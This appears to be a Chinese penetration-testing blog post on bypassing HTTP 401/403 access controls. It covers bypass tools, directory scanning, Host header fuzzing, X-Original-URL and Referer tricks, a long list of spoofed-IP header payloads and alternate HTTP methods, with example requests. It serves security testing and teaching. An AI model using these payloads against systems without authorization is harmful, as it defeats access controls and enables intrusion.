403 & 401 Bypasses

1.前言

在我们做渗透测试或者攻防演练的时候,绕过HTTP状态码401(未授权)403(禁止访问)的目的是为了绕过访问控制或权限限制,从而获取本不应有的访问权限,继续深入测试目标系统的其他部分。

1.1. 401未授权(Unauthorized)

  • 目的:401状态码意味着用户没有提供正确的认证凭证(如用户名和密码),因此无法访问资源。在渗透测试中,绕过401错误可以帮助渗透测试人员进入被保护的区域,模拟实际攻击者的行为,以验证系统的身份验证机制是否存在漏洞。
  • 原因
    • 测试认证漏洞:检查系统的认证机制是否存在漏洞,例如是否存在弱认证、默认凭证或漏洞利用的可能性(如暴力破解或会话劫持)。
    • 验证认证绕过:通过测试是否能够绕过身份验证机制,尤其是针对某些应用错误配置(如Cookie篡改、JWT漏洞等)或利用凭证重放攻击。

1.2. 403禁止访问(Forbidden)

  • 目的:403状态码表明服务器理解请求但拒绝提供资源,通常是因为权限问题。绕过403错误可以帮助渗透测试人员检测访问控制的强度,寻找越权访问漏洞(Privilege Escalation)。
  • 原因
    • 测试访问控制:验证应用是否正确实施了访问控制机制,检查用户权限划分是否到位。若存在垂直权限提升漏洞(如低权限用户能够访问管理员资源),则可能被恶意利用。
    • 验证路径或方法绕过:403错误可能是由于路径或HTTP方法限制(如GET/POST)。测试时可以通过改变路径、编码方式或使用不同HTTP方法来尝试绕过此限制。

为什么需要绕过

  1. 全面性测试:渗透测试的目标是模拟攻击者的行为,发现系统中的安全漏洞和弱点。绕过这些状态码能够更深入地探测系统的漏洞。
  2. 暴露潜在风险:通过绕过访问控制机制,测试人员可以暴露出系统的真实安全性,帮助开发人员改进认证和授权机制,从而防止未经授权的访问。
  3. 验证安全控制的有效性:如果能够成功绕过401或403状态码,说明系统的认证和授权机制可能存在配置问题、逻辑错误或实现漏洞。

2.绕过方法

2.1. 使用工具绕过

https://github.com/iamj0ker/bypass-403

https://github.com/channyein1337/403-bypass/blob/main/403-bypass.py

https://github.com/nico989/B1pass3r

https://github.com/Dheerajmadhukar/4-ZERO-3

https://github.com/carlospolop/fuzzhttpbypass

https://github.com/devploit/dontgo403

2.2. 使用模糊测试或者爆破目录

使用dirsearch,dirb,御剑等工具进行扫目录,扫文件的方式来进行绕过,扫描的时候要打开探测403,因为有些网站的目录没有权限访问会显示403,但是在这个目录下面的文件,我们或许能扫描到并访问。

2.3. waybachurl 绕过

https://web.archive.org/

2.4. 修改HOST

Host在请求头中的作用在一般情况下,几个网站可能会部署在同一个服务器上,或者几个 web 系统共享一个服务器,通过host头来指定应该由哪个网站或者web系统来处理用户的请求。

而很多WEB应用通过获取HTTP HOST头来获得当前请求访问的位置,但是很多开发人员并未意识到HTTP HOST头由用户控制,从安全角度来讲,任何用户输入都是认为不安全的。

修改客户端请求头中的 Host 可以通过修改 Host 值修改为子域名或者ip来绕过来进行绕过二级域名;

首先对该目标域名进行子域名收集,整理好子域名资产(host字段同样支持IP地址)。

先Fuzz测试跑一遍收集到的子域名,这里使用的是Burp的Intruder功能。若看到一个服务端返回200的状态码,即表面成功找到一个在HOST白名单中的子域名。我们利用firefox插件来修改HOST值,成功绕过访问限制。

2.5.覆盖请求 URL

尝试使用 X-Original-URL 和 X-Rewrite-URL 标头绕过 Web 服务器的限制。

通过支持 X-Original-URL 和 X-Rewrite-URL 标头,用户可以使用 X-Original-URL 或 X-Rewrite-URL HTTP 请求标头覆盖请求 URL 中的路径,尝试绕过对更高级别的缓存和 Web 服务器的限制

RequestGET /auth/login HTTP/1.1ResponseHTTP/1.1 403 Forbidden

ReqeustGET / HTTP/1.1X-Original-URL: /auth/loginResponseHTTP/1.1 200 OK

or:

ReqeustGET / HTTP/1.1X-Rewrite-URL: /auth/loginResponseHTTP/1.1 200 OK

2.6.Referer 标头绕过

尝试使用 Referer 标头绕过 Web 服务器的限制。

介绍:Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源。

RequestGET /auth/login HTTP/1.1Host: xxxResponseHTTP/1.1 403 Forbidden

ReqeustGET / HTTP/1.1Host: xxxReFerer:https://xxx/auth/loginResponseHTTP/1.1 200 OK

or

ReqeustGET /auth/login HTTP/1.1Host: xxxReFerer:https://xxx/auth/loginResponseHTTP/1.1 200 OK

2.7.代理 IP

一般开发者会通过 Nginx 代理识别访问端 IP 限制对接口的访问,尝试使用 X-Forwarded-For、X-Forwared-Host 等标头绕过 Web 服务器的限制。

X-Originating-IP: 127.0.0.1X-Remote-IP: 127.0.0.1X-Client-IP: 127.0.0.1X-Forwarded-For: 127.0.0.1X-Forwared-Host: 127.0.0.1X-Host: 127.0.0.1X-Custom-IP-Authorization: 127.0.0.1

如:

RequestGET /auth/login HTTP/1.1ResponseHTTP/1.1 401 Unauthorized

ReqeustGET /auth/login HTTP/1.1X-Custom-IP-Authorization: 127.0.0.1ResponseHTTP/1.1 200 OK

2.8.扫描

遇到 403 了,上目录扫描工具,扫目录,扫文件(记住,扫描的时候要打开探测403,因为有些网站的目录

没有权限访问会显示403,但是在这个目录下面的文件,我们或许能扫描到并访问 )

2.9.通过标头payload绕过

Base-Url: 127.0.0.1

Client-IP: 127.0.0.1

Http-Url: 127.0.0.1

Proxy-Host: 127.0.0.1

Proxy-Url: 127.0.0.1

Real-Ip: 127.0.0.1

Redirect: 127.0.0.1

Referer: 127.0.0.1

Referrer: 127.0.0.1

Refferer: 127.0.0.1

Request-Uri: 127.0.0.1

Uri: 127.0.0.1

Url: 127.0.0.1

X-Client-IP: 127.0.0.1

X-Custom-IP-Authorization: 127.0.0.1

X-Forward-For: 127.0.0.1

X-Forwarded-By: 127.0.0.1

X-Forwarded-For-Original: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Forwarded-Host: 127.0.0.1

X-Forwarded-Port: 443

X-Forwarded-Port: 4443

X-Forwarded-Port: 80

X-Forwarded-Port: 8080

X-Forwarded-Port: 8443

X-Forwarded-Scheme: http

X-Forwarded-Scheme: https

X-Forwarded-Server: 127.0.0.1

X-Forwarded: 127.0.0.1

X-Forwarder-For: 127.0.0.1

X-Host: 127.0.0.1

X-Http-Destinationurl: 127.0.0.1

X-Http-Host-Override: 127.0.0.1

X-Original-Remote-Addr: 127.0.0.1

X-Original-Url: 127.0.0.1

X-Originating-IP: 127.0.0.1

X-Proxy-Url: 127.0.0.1

X-Real-Ip: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Rewrite-Url: 127.0.0.1

X-True-IP: 127.0.0.1

2.10.使用其他请求方法

GET
HEAD
POST
PUT
CONNECT
COPY
DELETE
LABEL
LOCK
MOVE
OPTIONS
PATCH
POUET
TRACE
TRACK
UNCHECKOUT
UPDATE
VERSION-CONTROL

记得点赞+关注,关注微信公众号菜鸟学渗透或者www.cnxst.vip,获取最新文章,有任何问题可以后台私信我

有考取NISP一级/二级/三级、CISP-PTE/PTS等证书的可以加我好友私信我(公众号回复“加好友”)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

菜鸟学渗透

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值